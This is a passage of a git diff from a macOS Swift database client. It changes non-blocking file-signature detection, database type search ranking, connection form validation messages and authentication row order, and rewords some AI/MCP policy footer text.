empty, or cannot be opened is unidentified rather than an error, and the caller -/// falls back to the extension. +// Names the database type that wrote a file from its own bytes, reading only as far as the longest signature +// reaches. Anything that is not a regular file, is empty or cannot be read is unidentified, and the caller falls +// back to the extension. internal enum DatabaseFileClassifier { - internal static func classify(_ url: URL) -> DatabaseType? { - classify(url, candidates: PluginMetadataRegistry.shared.allFileSignatures()) + internal enum Access: Sendable { + // A file the user opened on purpose: a download or a slow volume is worth the wait. + case mayWait + // An open panel's enable filter, which AppKit calls on the main thread while the panel browses. + case withoutWaiting + } + + // A plugin declaring a signature deeper than this is not read at all rather than read in full. + internal static let maximumPrefixLength = 64 * 1_024 + + internal static func classify(_ url: URL, access: Access = .mayWait) -> DatabaseType? { + classify(url, candidates: PluginMetadataRegistry.shared.allFileSignatures(), access: access) } internal static func classify( _ url: URL, - candidates: [String: [DatabaseFileSignature]] + candidates: [String: [DatabaseFileSignature]], + access: Access = .mayWait ) -> DatabaseType? { guard url.isFileURL, !candidates.isEmpty else { return nil } - guard let size = regularFileSize(of: url), size > 0 else { return nil } - let prefixLength = candidates.values .flatMap { $0 } .map(\.requiredPrefixLength) .max() ?? 0 - guard prefixLength > 0, let prefix = readPrefix(of: url, length: prefixLength) else { return nil } + guard prefixLength > 0, prefixLength <= maximumPrefixLength else { return nil } + switch access { + case .mayWait: + guard let size = regularFileSize(of: url), size > 0 else { return nil } + case .withoutWaiting: + guard isReadableWithoutWaiting(url) else { return nil } + } + guard let prefix = readPrefix(of: url, length: prefixLength, access: access) else { return nil } - /// The longest match wins, and the type id breaks a tie, so the answer never depends on - /// the order the registry's dictionary happens to iterate in. + // The longest match wins and the type id breaks a tie, so the answer never depends on dictionary order. let matches = candidates.flatMap { typeId, signatures in signatures.filter { $0.matches(prefix) }.map { (typeId: typeId, weight: $0.totalMarkerLength) } } @@ -40,17 +54,75 @@ internal enum DatabaseFileClassifier { return winner.map { DatabaseType(rawValue: $0.typeId) } } - /// A FIFO or a device node would block in `open`, so both are refused before anything is opened. + // From metadata alone: a non-empty regular file on this Mac's own disk whose bytes are already here. A pipe, a + // socket or a device blocks in open, a network volume takes as long as the network, and an iCloud or File + // Provider file that is not downloaded waits for the download. + internal static func isReadableWithoutWaiting(_ url: URL) -> Bool { + let keys: Set = [ + .isRegularFileKey, .fileSizeKey, .volumeIsLocalKey, .ubiquitousItemDownloadingStatusKey, + ] + guard let values = try? url.resourceValues(forKeys: keys), + values.isRegularFile == true, + values.volumeIsLocal == true, + (values.fileSize ?? 0) > 0 + else { return false } + if let status = values.ubiquitousItemDownloadingStatus, status != .current { return false } + var info = stat() + guard lstat(url.path, &info) == 0 else { return false } + return info.st_flags & UInt32(SF_DATALESS) == 0 + } + + // A dataless file opened here fails with EDEADLK instead of starting a download, even one that turned dataless + // after the metadata was read. + internal static func withoutMaterializing(_ body: () throws -> T) rethrows -> T { + let previous = getiopolicy_np(IOPOL_TYPE_VFS_MATERIALIZE_DATALESS_FILES, IOPOL_SCOPE_THREAD) + let changed = setiopolicy_np( + IOPOL_TYPE_VFS_MATERIALIZE_DATALESS_FILES, + IOPOL_SCOPE_THREAD, + IOPOL_MATERIALIZE_DATALESS_FILES_OFF + ) == 0 + defer { + if changed, previous >= 0 { + _ = setiopolicy_np(IOPOL_TYPE_VFS_MATERIALIZE_DATALESS_FILES, IOPOL_SCOPE_THREAD, previous) + } + } + return try body() + } + private static func regularFileSize(of url: URL) -> Int? { guard let values = try? url.resourceValues(forKeys: [.isRegularFileKey, .fileSizeKey]), values.isRegularFile == true else { return nil } return values.fileSize } - private static func readPrefix(of url: URL, length: Int) -> [UInt8]? { - guard let handle = try? FileHandle(forReadingFrom: url) else { return nil } - defer { try? handle.close() } - guard let head = try? handle.read(upToCount: length), !head.isEmpty else { return nil } - return [UInt8](head) + // O_NONBLOCK keeps open from waiting on a pipe swapped in after the metadata was read; fstat then refuses it. + private static func readPrefix(of url: URL, length: Int, access: Access) -> [UInt8]? { + let read = { () -> [UInt8]? in + let descriptor = open(url.path, O_RDONLY | O_NONBLOCK | O_CLOEXEC) + guard descriptor >= 0 else { return nil } + defer { close(descriptor) } + var info = stat() + guard fstat(descriptor, &info) == 0, info.st_mode & S_IFMT == S_IFREG else { return nil } + var buffer = [UInt8](repeating: 0, count: length) + var filled = 0 + while filled < length { + let count = buffer.withUnsafeMutableBytes { bytes -> Int in + guard let base = bytes.baseAddress else { return 0 } + return Darwin.read(descriptor, base.advanced(by: filled), length - filled) + } + if count > 0 { + filled += count + } else if count < 0, errno == EINTR { + continue + } else { + break + } + } + return filled > 0 ? Array(buffer.prefix(filled)) : nil + } + switch access { + case .mayWait: return read() + case .withoutWaiting: return withoutMaterializing(read) + } } } diff --git a/apple/TablePro/Views/Connection/ConnectionTileView.swift b/apple/TablePro/Views/Connection/ConnectionTileView.swift index 415faa320a..ecb022086b 100644 --- a/apple/TablePro/Views/Connection/ConnectionTileView.swift +++ b/apple/TablePro/Views/Connection/ConnectionTileView.swift @@ -20,9 +20,10 @@ internal enum ConnectionTileMetrics { size * 0.5 } - // WCAG's floor for a graphic. Brand hues are picked for a white page, so several (PostgreSQL's - // blue, Kafka's near black) sit under it on the dark tile. - internal static let minimumGlyphContrast: CGFloat = 3 + // Brand hues are picked for a white page, so several (PostgreSQL's blue, Kafka's near black) fail on the dark + // tile. WCAG's 3:1 for a graphic was not enough: the engine marks are thin line art, and antialiasing blends + // their strokes into the tile, so the elephant still vanished. They are lifted to the floor for text instead. + internal static let minimumGlyphContrast: CGFloat = 4.5 // The brand colour in Light Mode; in Dark Mode the same hue lifted until it clears the tile. internal static func glyphColor(brand: NSColor) -> NSColor { diff --git a/apple/TablePro/Views/Connection/TypeChooser/DatabaseTypeChooserModel.swift b/apple/TablePro/Views/Connection/TypeChooser/DatabaseTypeChooserModel.swift index f52e56fb3f..3d5c537290 100644 --- a/apple/TablePro/Views/Connection/TypeChooser/DatabaseTypeChooserModel.swift +++ b/apple/TablePro/Views/Connection/TypeChooser/DatabaseTypeChooserModel.swift @@ -29,48 +29,69 @@ final class DatabaseTypeChooserModel: ObservableObject { highlightedType = type } + private var query: String { + searchText.trimmingCharacters(in: .whitespacesAndNewlines).lowercased() + } + var filteredTypes: [DatabaseType] { - let trimmed = searchText.trimmingCharacters(in: .whitespacesAndNewlines) - guard !trimmed.isEmpty else { return allTypes } - let needle = trimmed.lowercased() - return allTypes.filter { type in - if type.rawValue.lowercased().contains(needle) { return true } - if let tagline = type.tagline, tagline.lowercased().contains(needle) { return true } - if type.category.displayName.lowercased().contains(needle) { return true } - return false - } + let query = query + guard !query.isEmpty else { return allTypes } + return allTypes.filter { Self.rank(of: $0, for: query) != nil } } + // While searching, the best match leads: its section first, and within a section the closer names first. var groupedTypes: [(category: DatabaseCategory, types: [DatabaseType])] { + let query = query let grouped = Dictionary(grouping: filteredTypes, by: { $0.category }) + guard !query.isEmpty else { + return grouped + .map { (category: $0.key, types: $0.value.sorted { $0.rawValue < $1.rawValue }) } + .sorted { $0.category.sortOrder < $1.category.sortOrder } + } + func rank(_ type: DatabaseType) -> Int { Self.rank(of: type, for: query) ?? .max } return grouped - .map { (category: $0.key, types: $0.value.sorted { $0.rawValue < $1.rawValue }) } - .sorted { $0.category.sortOrder < $1.category.sortOrder } + .map { entry in + (category: entry.key, types: entry.value.sorted { lhs, rhs in + rank(lhs) == rank(rhs) ? lhs.rawValue < rhs.rawValue : rank(lhs) < rank(rhs) + }) + } + .sorted { lhs, rhs in + let left = lhs.types.first.map(rank) ?? .max + let right = rhs.types.first.map(rank) ?? .max + return left == right ? lhs.category.sortOrder < rhs.category.sortOrder : left < right + } } - // Arrowing follows the rows as drawn: category order, then alphabetical. + // Arrowing follows the rows as drawn. var orderedTypes: [DatabaseType] { groupedTypes.flatMap(\.types) } - // Ranked, not the first row: the filter matches taglines too, so "PostgreSQL" puts CockroachDB on top - // and Return would commit a driver the user never looked at. + // A name match, never a tagline or category hit among several: Return would commit a driver the user never + // looked at. A sole result is unambiguous whatever matched. var bestMatch: DatabaseType? { - let trimmed = searchText.trimmingCharacters(in: .whitespacesAndNewlines).lowercased() - guard !trimmed.isEmpty else { return nil } + let query = query + guard !query.isEmpty else { return nil } let candidates = orderedTypes - if let exact = candidates.first(where: { $0.rawValue.lowercased() == trimmed }) { - return exact - } - if let prefixed = candidates.first(where: { $0.rawValue.lowercased().hasPrefix(trimmed) }) { - return prefixed - } - if let named = candidates.first(where: { $0.rawValue.lowercased().contains(trimmed) }) { - return named + if let first = candidates.first, let rank = Self.rank(of: first, for: query), rank < Self.otherMatch { + return first } return candidates.count == 1 ? candidates.first : nil } + private static let otherMatch = 3 + + // 0 the exact name, 1 a name prefix, 2 inside the name, 3 the tagline or category; nil no match. + private static func rank(of type: DatabaseType, for query: String) -> Int? { + let name = type.rawValue.lowercased() + if name == query { return 0 } + if name.hasPrefix(query) { return 1 } + if name.contains(query) { return 2 } + if let tagline = type.tagline, tagline.lowercased().contains(query) { return otherMatch } + if type.category.displayName.lowercased().contains(query) { return otherMatch } + return nil + } + func moveHighlight(by offset: Int) { let items = orderedTypes guard !items.isEmpty else { return } @@ -83,10 +104,15 @@ final class DatabaseTypeChooserModel: ObservableObject { highlightedType = items[target] } - // Never falls back to the first row: a tagline-only query leaves nothing armed and Continue dimmed. + // Each query arms its best match, so typing on past a prefix PGlite matched lands on PostgreSQL. Without one the + // highlight stays while it is still on screen, and a tagline-only query arms nothing. private func settleHighlight() { + if let best = bestMatch { + highlightedType = best + return + } if let current = highlightedType, orderedTypes.contains(current) { return } - highlightedType = bestMatch + highlightedType = nil } } diff --git a/apple/TablePro/Views/Connection/TypeChooser/DatabaseTypeChooserSheet.swift b/apple/TablePro/Views/Connection/TypeChooser/DatabaseTypeChooserSheet.swift index 4007d21cdc..f902fa91a0 100644 --- a/apple/TablePro/Views/Connection/TypeChooser/DatabaseTypeChooserSheet.swift +++ b/apple/TablePro/Views/Connection/TypeChooser/DatabaseTypeChooserSheet.swift @@ -6,6 +6,12 @@ import SwiftUI struct DatabaseTypeChooserSheet: View { + enum Purpose { + case newConnection + case changeType + } + + let purpose: Purpose let initialType: DatabaseType? let onSelected: (DatabaseType) -> Void let onImportFromURL: (() -> Void)? @@ -15,17 +21,46 @@ struct DatabaseTypeChooserSheet: View { @Environment(\.dismiss) private var dismiss init( + purpose: Purpose = .newConnection, initialType: DatabaseType? = nil, onSelected: @escaping (DatabaseType) -> Void, onImportFromURL: (() -> Void)? = nil, onCancel: @escaping () -> Void = {} ) { + self.purpose = purpose self.initialType = initialType self.onSelected = onSelected self.onImportFromURL = onImportFromURL self.onCancel = onCancel } + private var title: String { + switch purpose { + case .newConnection: return String(localized: "Choose a Database") + case .changeType: return String(localized: "Change Database Type") + } + } + + private var subtitle: String { + switch purpose { + case .newConnection: return String(localized: "Pick the type of database you want to connect to.") + case .changeType: return String(localized: "Settings the new type can't use are listed before anything changes.") + } + } + + private var commitTitle: String { + switch purpose { + case .newConnection: return String(localized: "Continue") + case .changeType: return String(localized: "Change") + } + } + + // Changing to the type the connection already has would change nothing. + private var canCommit: Bool { + guard let highlighted = model.highlightedType else { return false } + return purpose == .newConnection || highlighted != initialType + } + var body: some View { VStack(spacing: 0) { header @@ -44,9 +79,9 @@ struct DatabaseTypeChooserSheet: View { private var header: some View { HStack(alignment: .center, spacing: 16) { VStack(alignment: .leading, spacing: 2) { - Text(String(localized: "Choose a Database")) + Text(verbatim: title) .font(.headline) - Text(String(localized: "Pick the type of database you want to connect to.")) + Text(verbatim: subtitle) .font(.subheadline) .foregroundStyle(.secondary) } @@ -54,7 +89,7 @@ struct DatabaseTypeChooserSheet: View { Spacer() // The field editor eats arrows before onMoveCommand sees them, so the delegate hands them over. - // onSubmit stays unwired: Return already reaches Continue's .defaultAction. + // onSubmit stays unwired: Return already reaches the commit button's .defaultAction. NativeSearchField( text: $model.searchText, placeholder: String(localized: "Search"), @@ -75,9 +110,16 @@ struct DatabaseTypeChooserSheet: View { .frame(maxWidth: .infinity, maxHeight: .infinity) } else { ScrollViewReader { proxy in + // The category is an untagged row rather than a section header: a header pins to the top as a + // translucent bar, and the rows scrolling under it smeared through. List(selection: $model.highlightedType) { ForEach(model.groupedTypes, id: \.category) { section in Section { + Text(verbatim: section.category.displayName) + .font(.subheadline.weight(.semibold)) + .foregroundStyle(.secondary) + .accessibilityAddTraits(.isHeader) + .listRowSeparator(.hidden) ForEach(section.types, id: \.self) { type in DatabaseTypeChooserRow( type: type, @@ -88,8 +130,6 @@ struct DatabaseTypeChooserSheet: View { .id(type) .listRowSeparator(.hidden) } - } header: { - Text(section.category.displayName) } } } @@ -97,7 +137,7 @@ struct DatabaseTypeChooserSheet: View { .contextMenu(forSelectionType: DatabaseType.self) { _ in EmptyView() } primaryAction: { selection in - if let type = selection.first { commit(type) } + if let type = selection.first, purpose == .newConnection || type != initialType { commit(type) } } .onAppear { if let initialType { @@ -132,14 +172,14 @@ struct DatabaseTypeChooserSheet: View { } .keyboardShortcut(.cancelAction) - Button(String(localized: "Continue")) { - if let type = model.highlightedType { + Button(commitTitle) { + if canCommit, let type = model.highlightedType { commit(type) } } .keyboardShortcut(.defaultAction) .buttonStyle(.borderedProminent) - .disabled(model.highlightedType == nil) + .disabled(!canCommit) } .padding(20) } diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+URLImport.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+URLImport.swift index 8bd8dd62c2..955636dd3b 100644 --- a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+URLImport.swift +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+URLImport.swift @@ -47,12 +47,10 @@ extension ConnectionDraft { } applyEngineFields(parsed, traits: traits) - if isNew { - if let connectionName = parsed.connectionName, !connectionName.isEmpty { - name = connectionName - } else if name.isEmpty { - name = parsed.suggestedName - } + // Without a name in the URL the name stays empty, so the form suggests one from what it points at + // (`ConnectionEditorEngine.suggestedName`) and the suggestion follows later edits of the host. + if isNew, let connectionName = parsed.connectionName, !connectionName.isEmpty { + name = connectionName } applySafeMode(parsed, isNew: isNew, floor: safeModeFloor) } diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Issues.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Issues.swift index f0108ddb5a..6095af8c76 100644 --- a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Issues.swift +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Issues.swift @@ -54,9 +54,9 @@ extension ConnectionEditorEngine { if draft.database.trimmingCharacters(in: .whitespaces).isEmpty { switch traits.connectionMode { case .fileBased: - pending.append(PendingIssue(row: .builtIn(.databaseFile), message: String(localized: "Database file path is required"))) + pending.append(PendingIssue(row: .builtIn(.databaseFile), message: String(localized: "Choose a database file."))) case .apiOnly where traits.showsBuiltInDatabaseField: - pending.append(PendingIssue(row: .builtIn(.database), message: String(localized: "Database name is required"))) + pending.append(PendingIssue(row: .builtIn(.database), message: String(localized: "Enter a database name."))) default: break } @@ -81,7 +81,7 @@ extension ConnectionEditorEngine { if credentialProfileIsMissing(draft, context), !context.credentialProfilesLoadFailed { pending.append(PendingIssue( row: .builtIn(.credentialProfile), - message: String(localized: "This connection uses a credential profile that isn't on this Mac."), + message: String(localized: "This profile isn't on this Mac."), severity: .warning )) } @@ -171,12 +171,12 @@ extension ConnectionEditorEngine { case .socksProxy: var pending: [PendingIssue] = [] if draft.socksProxy.host.trimmingCharacters(in: .whitespaces).isEmpty { - pending.append(PendingIssue(row: .builtIn(.socksHost), message: String(localized: "SOCKS proxy host is required"))) + pending.append(PendingIssue(row: .builtIn(.socksHost), message: String(localized: "Enter the proxy host."))) } if parsePort(draft.socksProxy.port) == nil { pending.append(PendingIssue( row: .builtIn(.socksPort), - message: String(localized: "SOCKS proxy port must be between 1 and 65535") + message: portRangeMessage )) } return pending @@ -202,18 +202,19 @@ extension ConnectionEditorEngine { if draft.ssh.host.trimmingCharacters(in: .whitespaces).isEmpty { pending.append(PendingIssue( row: .builtIn(.sshHost), - message: String(localized: "SSH host is required"), + message: String(localized: "Enter an SSH host."), fallbackRow: .builtIn(.sshConfigHost) )) } if !draft.ssh.port.isEmpty, parsePort(draft.ssh.port) == nil { - pending.append(PendingIssue(row: .builtIn(.sshPort), message: String(localized: "SSH port must be between 1 and 65535"))) + pending.append(PendingIssue(row: .builtIn(.sshPort), message: portRangeMessage)) } - for jumpHost in draft.ssh.jumpHosts where !jumpHost.isValid { - pending.append(PendingIssue( - row: .builtIn(.jumpHost(jumpHost.id)), - message: String(localized: "Jump host configuration is invalid") - )) + for (index, jumpHost) in draft.ssh.jumpHosts.enumerated() where !jumpHost.isValid { + let number = Int64(index + 1) + let message = jumpHost.host.isEmpty + ? String(format: String(localized: "Enter the address of jump host %lld."), number) + : String(format: String(localized: "Choose a key file for jump host %lld."), number) + pending.append(PendingIssue(row: .builtIn(.jumpHost(jumpHost.id)), message: message)) } case .unresolvedProfile: if !context.sshProfilesLoadFailed { @@ -235,13 +236,13 @@ extension ConnectionEditorEngine { case .inline, .disabled: host = draft.ssh.host } if host.trimmingCharacters(in: .whitespaces).isEmpty { - pending.append(PendingIssue(row: .builtIn(.sshProfile), message: String(localized: "SSH host is required"))) + pending.append(PendingIssue(row: .builtIn(.sshProfile), message: String(localized: "Enter an SSH host."))) } } if draft.ssh.remoteFilePath.trimmingCharacters(in: .whitespaces).isEmpty { pending.append(PendingIssue( row: .builtIn(.remoteFilePath), - message: String(localized: "Remote database file path is required") + message: String(localized: "Enter the file's path on the server.") )) } return pending @@ -250,12 +251,12 @@ extension ConnectionEditorEngine { private static func cloudflareIssues(_ cloudflare: CloudflareDraft) -> [PendingIssue] { var pending: [PendingIssue] = [] if cloudflare.accessHostname.trimmingCharacters(in: .whitespaces).isEmpty { - pending.append(PendingIssue(row: .builtIn(.cloudflareHostname), message: String(localized: "Cloudflare hostname is required"))) + pending.append(PendingIssue(row: .builtIn(.cloudflareHostname), message: String(localized: "Enter the Access hostname."))) } if !cloudflare.automaticPort, parsePort(cloudflare.localPort) == nil { pending.append(PendingIssue( row: .builtIn(.cloudflareLocalPort), - message: String(localized: "Local port must be between 1 and 65535") + message: portRangeMessage )) } if cloudflare.authMethod == .serviceToken, @@ -263,7 +264,7 @@ extension ConnectionEditorEngine { || cloudflare.serviceTokenSecret.trimmingCharacters(in: .whitespaces).isEmpty { pending.append(PendingIssue( row: .builtIn(.cloudflareTokenId), - message: String(localized: "Service token ID and secret are required") + message: String(localized: "Enter the client ID and secret.") )) } return pending @@ -274,19 +275,19 @@ extension ConnectionEditorEngine { if !proxy.configuration.isValid { pending.append(PendingIssue( row: .builtIn(.cloudSQLInstance), - message: String(localized: "Instance connection name must be project:region:instance") + message: String(localized: "Enter it as project:region:instance.") )) } if !proxy.automaticPort, parsePort(proxy.localPort) == nil { pending.append(PendingIssue( row: .builtIn(.cloudSQLLocalPort), - message: String(localized: "Local port must be between 1 and 65535") + message: portRangeMessage )) } if proxy.authMode == .serviceAccountKey, !proxy.hasServiceAccountKey { pending.append(PendingIssue( row: .builtIn(.cloudSQLServiceAccountKey), - message: String(localized: "A service account key is required") + message: String(localized: "Add a service account key.") )) } return pending @@ -300,15 +301,15 @@ extension ConnectionEditorEngine { let mode = draft.ssl.mode if !offeredSSLModes(draft, traits).contains(mode) { let message = traits.ssl.supportedModes.contains(mode) - ? String(format: String(localized: "The %1$@ driver cannot use SSL Mode %2$@ through a tunnel."), traits.displayName, mode.displayLabel) - : String(format: String(localized: "The %1$@ driver does not support SSL Mode %2$@."), traits.displayName, mode.displayLabel) + ? String(format: String(localized: "%@ doesn't work through a tunnel."), mode.displayLabel) + : String(format: String(localized: "This driver doesn't support %@."), mode.displayLabel) pending.append(PendingIssue(row: .builtIn(.sslMode), message: message)) } guard traits.ssl.supportsPerConnectionCertificatePaths else { return pending } if traits.ssl.requiresCACertificate(for: mode), draft.ssl.caCertPath.trimmingCharacters(in: .whitespaces).isEmpty { pending.append(PendingIssue( row: .builtIn(.sslCACertificate), - message: String(localized: "CA certificate is required for verification modes") + message: String(localized: "Choose a CA certificate.") )) } let hasClientCert = !draft.ssl.clientCertPath.trimmingCharacters(in: .whitespaces).isEmpty @@ -316,7 +317,7 @@ extension ConnectionEditorEngine { if hasClientCert, !hasClientKey { pending.append(PendingIssue( row: .builtIn(.sslClientKey), - message: String(localized: "Client key is required when client certificate is set") + message: String(localized: "Choose the client key.") )) } return pending @@ -324,32 +325,40 @@ extension ConnectionEditorEngine { // MARK: - Options + private static func secondsRangeMessage(_ range: ClosedRange) -> String { + String(format: String(localized: "Enter %1$@ to %2$@ seconds."), range.lowerBound.formatted(), range.upperBound.formatted()) + } + private static func optionIssues(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits, layout: EditorLayout) -> [PendingIssue] { var pending: [PendingIssue] = [] let options = draft.options if let seconds = options.connectTimeoutSeconds, !DatabaseConnection.connectTimeoutSecondsRange.contains(seconds) { pending.append(PendingIssue( row: .builtIn(.connectTimeout), - message: String(localized: "Connect timeout must be between 1 and 600 seconds.") + message: secondsRangeMessage(DatabaseConnection.connectTimeoutSecondsRange) )) } if let seconds = options.queryTimeoutSeconds, !DatabaseConnection.queryTimeoutSecondsRange.contains(seconds) { pending.append(PendingIssue( row: .builtIn(.queryTimeout), - message: String(localized: "Query timeout must be between 0 and 2,147,483 seconds.") + message: secondsRangeMessage(DatabaseConnection.queryTimeoutSecondsRange) )) } if let kilobytes = options.binaryInlineLimitKilobytes, !DatabaseConnection.binaryInlineLimitKilobytesRange.contains(kilobytes) { pending.append(PendingIssue( row: .builtIn(.binaryInlineLimit), - message: String(localized: "Binary values limit must be between 1 and 1,048,576 KB.") + message: String( + format: String(localized: "Enter %1$@ to %2$@ KB."), + DatabaseConnection.binaryInlineLimitKilobytesRange.lowerBound.formatted(), + DatabaseConnection.binaryInlineLimitKilobytesRange.upperBound.formatted() + ) )) } if let seconds = options.scriptTimeoutSeconds, !ConnectionScriptRunner.timeoutSecondsRange.contains(seconds) { pending.append(PendingIssue( row: .builtIn(.scriptTimeout), - message: String(localized: "Script timeout must be between 1 and 300 seconds.") + message: secondsRangeMessage(ConnectionScriptRunner.timeoutSecondsRange) )) } return pending diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Layout.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Layout.swift index bd0f500eb4..20a5b2c582 100644 --- a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Layout.swift +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Layout.swift @@ -124,39 +124,47 @@ extension ConnectionEditorEngine { return SectionLayout(id: "authentication", title: String(localized: "Authentication"), footer: nil, rows: rows) } let split = authFields.splitCredentialControllers() - var rows: [EditorRow] = [.builtIn(.credentialProfile)] - if draft.credentials.usesProfile { - rows += pluginRows(split.rest, draft, traits) - } else { - rows += pluginRows(split.usernameControllers, draft, traits) - if traits.connectionMode == .network, !hidesUsername(draft, traits) { - rows.append(.builtIn(.username)) - } - rows += pluginRows(split.passwordControllers, draft, traits) - if !hidesPassword(draft, traits) { - if draft.credentials.passwordSource != nil { - if !draft.credentials.promptsForPassword { - rows.append(.builtIn(.passwordSource)) - } - rows.append(.builtIn(.passwordMode)) - } else { - rows.append(.builtIn(.passwordMode)) - if !draft.credentials.promptsForPassword { - rows.append(.builtIn(.password)) - } + guard !draft.credentials.usesProfile else { + let rows: [EditorRow] = [.builtIn(.credentialProfile)] + pluginRows(split.rest, draft, traits) + return SectionLayout(id: "authentication", title: String(localized: "Authentication"), footer: nil, rows: rows) + } + // Method, Credentials, Username, Password, then a switch that only stands in for the password (~/.pgpass): + // the method decides what the rows under it are, so it leads, and the switch sits after what it replaces. + let methods = (split.usernameControllers + split.passwordControllers).filter(isMethodPicker) + var rows: [EditorRow] = pluginRows(methods, draft, traits) + [.builtIn(.credentialProfile)] + rows += pluginRows(split.usernameControllers.filter { !isMethodPicker($0) }, draft, traits) + if traits.connectionMode == .network, !hidesUsername(draft, traits) { + rows.append(.builtIn(.username)) + } + if !hidesPassword(draft, traits) { + if draft.credentials.passwordSource != nil { + if !draft.credentials.promptsForPassword { + rows.append(.builtIn(.passwordSource)) + } + rows.append(.builtIn(.passwordMode)) + } else { + rows.append(.builtIn(.passwordMode)) + if !draft.credentials.promptsForPassword { + rows.append(.builtIn(.password)) } } - rows += pluginRows(split.rest, draft, traits) - if showsKerberosNote(draft, traits) { - rows.append(.builtIn(.kerberosNote)) - } - if usesPgpass(draft, traits) { - rows.append(.builtIn(.pgpassStatus)) - } + } + rows += pluginRows(split.rest, draft, traits) + if showsKerberosNote(draft, traits) { + rows.append(.builtIn(.kerberosNote)) + } + rows += pluginRows(split.passwordControllers.filter { !isMethodPicker($0) }, draft, traits) + if usesPgpass(draft, traits) { + rows.append(.builtIn(.pgpassStatus)) } return SectionLayout(id: "authentication", title: String(localized: "Authentication"), footer: nil, rows: rows) } + private static func isMethodPicker(_ field: ConnectionField) -> Bool { + if case .dropdown = field.fieldType { return true } + return false + } + static let pgpassFieldId = "usePgpass" static func usesPgpass(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> Bool { diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine.swift index 59f52c475d..039e05ec06 100644 --- a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine.swift +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine.swift @@ -51,7 +51,12 @@ enum ConnectionEditorEngine { static func portIssue(_ text: String) -> String? { let trimmed = text.trimmingCharacters(in: .whitespacesAndNewlines) guard !trimmed.isEmpty, parsePort(trimmed) == nil else { return nil } - return String(localized: "Port must be a whole number between 1 and 65535") + return portRangeMessage + } + + // Fix-it wording short enough for the label column, so an issue stays on one line under its label. + static var portRangeMessage: String { + String(localized: "Enter a port from 1 to 65535.") } static func resolvedPort(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> Int { diff --git a/apple/TablePro/Views/ConnectionForm/Facets/AIAndMCPFacetView.swift b/apple/TablePro/Views/ConnectionForm/Facets/AIAndMCPFacetView.swift index 52c26519e2..08002bd30b 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/AIAndMCPFacetView.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/AIAndMCPFacetView.swift @@ -51,7 +51,7 @@ struct AIAndMCPFacetView: View { .tag(AIConnectionPolicy?.some(policy)) } } label: { - EditorRowLabel(String(localized: "AI Policy"), row: row, store: store) + EditorRowLabel(String(localized: "Policy"), row: row, store: store) } .accessibilityIdentifier(row.accessibilityIdentifier) .editorRowFocus(row, store: store) @@ -79,22 +79,24 @@ struct AIAndMCPFacetView: View { // The engine leaves these footers to the view: they read live state the layout does not carry. private func footer(for section: SectionLayout) -> String? { - var lines = section.footer.map { [$0] } ?? [] + var paragraphs = section.footer.map { [$0] } ?? [] if section.rows.contains(.builtIn(.externalAccess)) { if section.footer == nil { - // swiftlint:disable:next line_length - lines.append(String(localized: "Controls how external clients (Raycast, Cursor, Claude Desktop, AppleScript, Shortcuts) access this connection. Tokens cannot exceed this level even with full-access scope.")) + paragraphs.append(String( + localized: "Limits what MCP clients, scripts and shortcuts can do with this connection, whatever their token allows." + )) } if let note = store.externalClientsReadOnlyNote { - lines.append(note) + paragraphs.append(note) } } if section.rows.contains(.builtIn(.aiPolicy)), section.footer == nil { - lines.append(String(localized: "AI Policy applies to AI features and MCP clients.")) - } - if section.rows.contains(.builtIn(.alwaysAllowedTools)) { - lines.append(String(localized: "Always Allow on an assistant tool card adds the tool here. Forget makes its next call ask again.")) + var sentences = [String(localized: "Sets when the assistant and MCP clients may read this connection.")] + if section.rows.contains(.builtIn(.alwaysAllowedTools)) { + sentences.append(String(localized: "Forget a tool to be asked before it runs again.")) + } + paragraphs.append(sentences.joined(separator: " ")) } - return lines.isEmpty ? nil : lines.joined(separator: "\n") + return paragraphs.isEmpty ? nil : paragraphs.joined(separator: "\n") } } diff --git a/apple/TablePro/Views/ConnectionForm/Facets/AdvancedFacetView.swift b/apple/TablePro/Views/ConnectionForm/Facets/AdvancedFacetView.swift index 74b949769a..6d87239c0d 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/AdvancedFacetView.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/AdvancedFacetView.swift @@ -1,5 +1,6 @@ import SwiftUI import TableProAutocomplete +import TableProPluginKit struct AdvancedFacetView: View { @ObservedObject var store: ConnectionEditorStore @@ -34,7 +35,7 @@ struct AdvancedFacetView: View { switch row { case .builtIn(.connectTimeout): EditorOptionalNumberRow( - String(localized: "Connect timeout"), + String(localized: "Connect Timeout"), value: store.binding(\.options.connectTimeoutSeconds), defaultValue: ConnectionTimeoutPolicy.defaultConnectTimeoutSeconds, range: DatabaseConnection.connectTimeoutSecondsRange, @@ -47,7 +48,7 @@ struct AdvancedFacetView: View { AdvancedQueryTimeoutRow(row: row, store: store, settings: store.services.appSettings) case .builtIn(.binaryInlineLimit): EditorOptionalNumberRow( - String(localized: "Load binary values up to"), + String(localized: "Binary Value Limit"), value: store.binding(\.options.binaryInlineLimitKilobytes), defaultValue: UnloadedValuePlan.defaultInlineByteLimit / 1_024, range: DatabaseConnection.binaryInlineLimitKilobytesRange, @@ -61,13 +62,13 @@ struct AdvancedFacetView: View { Text(verbatim: Self.title(for: identifierCase)).tag(identifierCase) } } label: { - EditorRowLabel(String(localized: 